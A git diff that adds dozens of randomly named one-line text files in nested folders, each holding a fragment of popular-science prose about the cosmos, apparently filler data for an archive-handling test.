diff --git a/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/file_wyvbeuhmywoncmmqatkr.txt b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/file_wyvbeuhmywoncmmqatkr.txt
new file mode 100644
index 0000000..6211f0e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/file_wyvbeuhmywoncmmqatkr.txt
@@ -0,0 +1 @@
+past. We now know that the Cosmos is far older than they ever imagined. We have
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/file_xksebgypgv.txt b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/file_xksebgypgv.txt
new file mode 100644
index 0000000..6211f0e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/file_xksebgypgv.txt
@@ -0,0 +1 @@
+past. We now know that the Cosmos is far older than they ever imagined. We have
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/file_yvybfljyetywrwbdcbxp.txt b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/file_yvybfljyetywrwbdcbxp.txt
new file mode 100644
index 0000000..6211f0e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/file_yvybfljyetywrwbdcbxp.txt
@@ -0,0 +1 @@
+past. We now know that the Cosmos is far older than they ever imagined. We have
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/file_athwuglsxjfrfpey.txt b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/file_athwuglsxjfrfpey.txt
new file mode 100644
index 0000000..3ce1658
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/file_athwuglsxjfrfpey.txt
@@ -0,0 +1 @@
+uranium radiation. But some clicks can still be heard. Of the remaining counts, a fraction
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/file_dkitfyqjbavuamii.txt b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/file_dkitfyqjbavuamii.txt
new file mode 100644
index 0000000..3ce1658
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/file_dkitfyqjbavuamii.txt
@@ -0,0 +1 @@
+uranium radiation. But some clicks can still be heard. Of the remaining counts, a fraction
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/file_gnbzevaxuh.txt b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/file_gnbzevaxuh.txt
new file mode 100644
index 0000000..3ce1658
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/file_gnbzevaxuh.txt
@@ -0,0 +1 @@
+uranium radiation. But some clicks can still be heard. Of the remaining counts, a fraction
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/file_hbrfvoqvsvbxaomxcquybuxj.txt b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/file_hbrfvoqvsvbxaomxcquybuxj.txt
new file mode 100644
index 0000000..3ce1658
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/file_hbrfvoqvsvbxaomxcquybuxj.txt
@@ -0,0 +1 @@
+uranium radiation. But some clicks can still be heard. Of the remaining counts, a fraction
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/file_iadcljrcfokjswqv.txt b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/file_iadcljrcfokjswqv.txt
new file mode 100644
index 0000000..3ce1658
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/file_iadcljrcfokjswqv.txt
@@ -0,0 +1 @@
+uranium radiation. But some clicks can still be heard. Of the remaining counts, a fraction
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/file_jpwotxxeagweypxsbbh.txt b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/file_jpwotxxeagweypxsbbh.txt
new file mode 100644
index 0000000..3ce1658
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/file_jpwotxxeagweypxsbbh.txt
@@ -0,0 +1 @@
+uranium radiation. But some clicks can still be heard. Of the remaining counts, a fraction
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/file_lepocaejhdnqyxrqtwvkslmi.txt b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/file_lepocaejhdnqyxrqtwvkslmi.txt
new file mode 100644
index 0000000..3ce1658
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/file_lepocaejhdnqyxrqtwvkslmi.txt
@@ -0,0 +1 @@
+uranium radiation. But some clicks can still be heard. Of the remaining counts, a fraction
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/file_nfdousmuqyzsjvtxvmnuaqb.txt b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/file_nfdousmuqyzsjvtxvmnuaqb.txt
new file mode 100644
index 0000000..3ce1658
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/file_nfdousmuqyzsjvtxvmnuaqb.txt
@@ -0,0 +1 @@
+uranium radiation. But some clicks can still be heard. Of the remaining counts, a fraction
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/file_rulebyouwfqzafygb.txt b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/file_rulebyouwfqzafygb.txt
new file mode 100644
index 0000000..3ce1658
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/file_rulebyouwfqzafygb.txt
@@ -0,0 +1 @@
+uranium radiation. But some clicks can still be heard. Of the remaining counts, a fraction
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/file_tywxkqpftbwolq.txt b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/file_tywxkqpftbwolq.txt
new file mode 100644
index 0000000..3ce1658
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/file_tywxkqpftbwolq.txt
@@ -0,0 +1 @@
+uranium radiation. But some clicks can still be heard. Of the remaining counts, a fraction
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/file_vwrhuwjkd.txt b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/file_vwrhuwjkd.txt
new file mode 100644
index 0000000..3ce1658
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/file_vwrhuwjkd.txt
@@ -0,0 +1 @@
+uranium radiation. But some clicks can still be heard. Of the remaining counts, a fraction
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/file_vxgxwjgdywskaxeccqw.txt b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/file_vxgxwjgdywskaxeccqw.txt
new file mode 100644
index 0000000..3ce1658
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/file_vxgxwjgdywskaxeccqw.txt
@@ -0,0 +1 @@
+uranium radiation. But some clicks can still be heard. Of the remaining counts, a fraction
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/file_wotbowhqz.txt b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/file_wotbowhqz.txt
new file mode 100644
index 0000000..3ce1658
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/file_wotbowhqz.txt
@@ -0,0 +1 @@
+uranium radiation. But some clicks can still be heard. Of the remaining counts, a fraction
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/file_xhimmicmikx.txt b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/file_xhimmicmikx.txt
new file mode 100644
index 0000000..3ce1658
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/file_xhimmicmikx.txt
@@ -0,0 +1 @@
+uranium radiation. But some clicks can still be heard. Of the remaining counts, a fraction
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/file_zguemfuaqnwbtrvyaaxpw.txt b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/file_zguemfuaqnwbtrvyaaxpw.txt
new file mode 100644
index 0000000..3ce1658
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/file_zguemfuaqnwbtrvyaaxpw.txt
@@ -0,0 +1 @@
+uranium radiation. But some clicks can still be heard. Of the remaining counts, a fraction
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/cvxhghnoxgthwxksjur.txt b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/cvxhghnoxgthwxksjur.txt
new file mode 100644
index 0000000..e4622ea
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/cvxhghnoxgthwxksjur.txt
@@ -0,0 +1 @@
+into utter darkness during the millennium of theological scholasticism. But Darwin
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/eisenjlrmkrfv.txt b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/eisenjlrmkrfv.txt
new file mode 100644
index 0000000..263b7be
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/eisenjlrmkrfv.txt
@@ -0,0 +1 @@
+slowly invented brains. But then the time came, perhaps ten thousand years ago, when we
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/file_dkfyorshozfsvoea.txt b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/file_dkfyorshozfsvoea.txt
new file mode 100644
index 0000000..809d5d4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/file_dkfyorshozfsvoea.txt
@@ -0,0 +1 @@
+white, faraway light. Many of them. All over the sky. But only at night. I wonder what they
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/file_euxgjjnemwvaus.txt b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/file_euxgjjnemwvaus.txt
new file mode 100644
index 0000000..809d5d4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/file_euxgjjnemwvaus.txt
@@ -0,0 +1 @@
+white, faraway light. Many of them. All over the sky. But only at night. I wonder what they
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/file_hpmirlzlymhcgiznggrk.txt b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/file_hpmirlzlymhcgiznggrk.txt
new file mode 100644
index 0000000..809d5d4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/file_hpmirlzlymhcgiznggrk.txt
@@ -0,0 +1 @@
+white, faraway light. Many of them. All over the sky. But only at night. I wonder what they
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/file_jdqjckympvcvdzwucvp.txt b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/file_jdqjckympvcvdzwucvp.txt
new file mode 100644
index 0000000..809d5d4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/file_jdqjckympvcvdzwucvp.txt
@@ -0,0 +1 @@
+white, faraway light. Many of them. All over the sky. But only at night. I wonder what they
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/file_jqszudcnkekqdqmjvviaes.txt b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/file_jqszudcnkekqdqmjvviaes.txt
new file mode 100644
index 0000000..809d5d4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/file_jqszudcnkekqdqmjvviaes.txt
@@ -0,0 +1 @@
+white, faraway light. Many of them. All over the sky. But only at night. I wonder what they
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/file_kwfzkhlsqvzyaaaygi.txt b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/file_kwfzkhlsqvzyaaaygi.txt
new file mode 100644
index 0000000..809d5d4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/file_kwfzkhlsqvzyaaaygi.txt
@@ -0,0 +1 @@
+white, faraway light. Many of them. All over the sky. But only at night. I wonder what they
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/file_qferdvqsrmxqgrqwih.txt b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/file_qferdvqsrmxqgrqwih.txt
new file mode 100644
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--- /dev/null
+++ b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/file_qferdvqsrmxqgrqwih.txt
@@ -0,0 +1 @@
+white, faraway light. Many of them. All over the sky. But only at night. I wonder what they
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/file_qjnrbbtzgdkhb.txt b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/file_qjnrbbtzgdkhb.txt
new file mode 100644
index 0000000..809d5d4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/file_qjnrbbtzgdkhb.txt
@@ -0,0 +1 @@
+white, faraway light. Many of them. All over the sky. But only at night. I wonder what they
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/file_ulgijitypxrm.txt b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/file_ulgijitypxrm.txt
new file mode 100644
index 0000000..809d5d4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/file_ulgijitypxrm.txt
@@ -0,0 +1 @@
+white, faraway light. Many of them. All over the sky. But only at night. I wonder what they
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/file_uznmqecc.txt b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/file_uznmqecc.txt
new file mode 100644
index 0000000..809d5d4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/file_uznmqecc.txt
@@ -0,0 +1 @@
+white, faraway light. Many of them. All over the sky. But only at night. I wonder what they
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/file_vybtefjiqwwffhknqua.txt b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/file_vybtefjiqwwffhknqua.txt
new file mode 100644
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--- /dev/null
+++ b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/file_vybtefjiqwwffhknqua.txt
@@ -0,0 +1 @@
+white, faraway light. Many of them. All over the sky. But only at night. I wonder what they
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/file_whpldosrrhkttxgnya.txt b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/file_whpldosrrhkttxgnya.txt
new file mode 100644
index 0000000..809d5d4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/file_whpldosrrhkttxgnya.txt
@@ -0,0 +1 @@
+white, faraway light. Many of them. All over the sky. But only at night. I wonder what they
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/file_xqfdylproossgcc.txt b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/file_xqfdylproossgcc.txt
new file mode 100644
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--- /dev/null
+++ b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/file_xqfdylproossgcc.txt
@@ -0,0 +1 @@
+white, faraway light. Many of them. All over the sky. But only at night. I wonder what they
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/file_ygwdyrkukmocekxgd.txt b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/file_ygwdyrkukmocekxgd.txt
new file mode 100644
index 0000000..809d5d4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/file_ygwdyrkukmocekxgd.txt
@@ -0,0 +1 @@
+white, faraway light. Many of them. All over the sky. But only at night. I wonder what they
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/file_yjvgcrodaiehgmiylabfqd.txt b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/file_yjvgcrodaiehgmiylabfqd.txt
new file mode 100644
index 0000000..809d5d4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/file_yjvgcrodaiehgmiylabfqd.txt
@@ -0,0 +1 @@
+white, faraway light. Many of them. All over the sky. But only at night. I wonder what they
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/hxccpvkjnfcpdcndpevest.txt b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/hxccpvkjnfcpdcndpevest.txt
new file mode 100644
index 0000000..39d476b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/hxccpvkjnfcpdcndpevest.txt
@@ -0,0 +1 @@
+impossible to maintain a static society. There is a kind of psychological compound interest:
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/kstfhqzbhceaereshkvovx.txt b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/kstfhqzbhceaereshkvovx.txt
new file mode 100644
index 0000000..2b5da12
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/kstfhqzbhceaereshkvovx.txt
@@ -0,0 +1 @@
+the ground. The ices would all be melted during entry. There would be few recognizable
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/lmadgeufsvivbzyjlbu.txt b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/lmadgeufsvivbzyjlbu.txt
new file mode 100644
index 0000000..2f696cf
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/lmadgeufsvivbzyjlbu.txt
@@ -0,0 +1 @@
+illuminated by a distant Sun, which appears as no more than a bright point of light in a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/naijmgozspyjxurvcywbt.txt b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/naijmgozspyjxurvcywbt.txt
new file mode 100644
index 0000000..a4b5584
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/naijmgozspyjxurvcywbt.txt
@@ -0,0 +1 @@
+to be inhabited by an older and wiser race, perhaps very different from us. He believed that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/ndccwfoz.txt b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/ndccwfoz.txt
new file mode 100644
index 0000000..c887771
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/ndccwfoz.txt
@@ -0,0 +1 @@
+known universe, led A. R. Wallace to the anti-Aristarchian position, in his book Man’s Place in the Universe
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/odeghgfvcokh.txt b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/odeghgfvcokh.txt
new file mode 100644
index 0000000..c8b6b07
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/odeghgfvcokh.txt
@@ -0,0 +1 @@
+Imagine carrying a Geiger counter and a piece of uranium ore to some place deep
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/oehcmzfaojwkuph.txt b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/oehcmzfaojwkuph.txt
new file mode 100644
index 0000000..a2ee267
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/oehcmzfaojwkuph.txt
@@ -0,0 +1 @@
+see only a uniform enveloping radiance beneath the sea. If a radio telescope were built on Venus, it could
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/ongornyilgsznpc.txt b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/ongornyilgsznpc.txt
new file mode 100644
index 0000000..909e541
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/ongornyilgsznpc.txt
@@ -0,0 +1 @@
+sand grains. Some microbes froze to death after the first night and were never heard from
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/ouubyvcvnpjjzlvsmnbuwhou.txt b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/ouubyvcvnpjjzlvsmnbuwhou.txt
new file mode 100644
index 0000000..855771d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/ouubyvcvnpjjzlvsmnbuwhou.txt
@@ -0,0 +1 @@
+‘Thou shalt not kill.’ So let us consider whether Bohr's aphorism is itself a great idea. If so,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/pppxyqgphlhgbzrlmgxbdzio.txt b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/pppxyqgphlhgbzrlmgxbdzio.txt
new file mode 100644
index 0000000..696663d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/pppxyqgphlhgbzrlmgxbdzio.txt
@@ -0,0 +1 @@
+the Cosmos.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/rkbidcer.txt b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/rkbidcer.txt
new file mode 100644
index 0000000..79ca13d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/rkbidcer.txt
@@ -0,0 +1 @@
+solids* that would determine their distances from the Sun. The nested Pythagorean solids
\ No newline at end of file
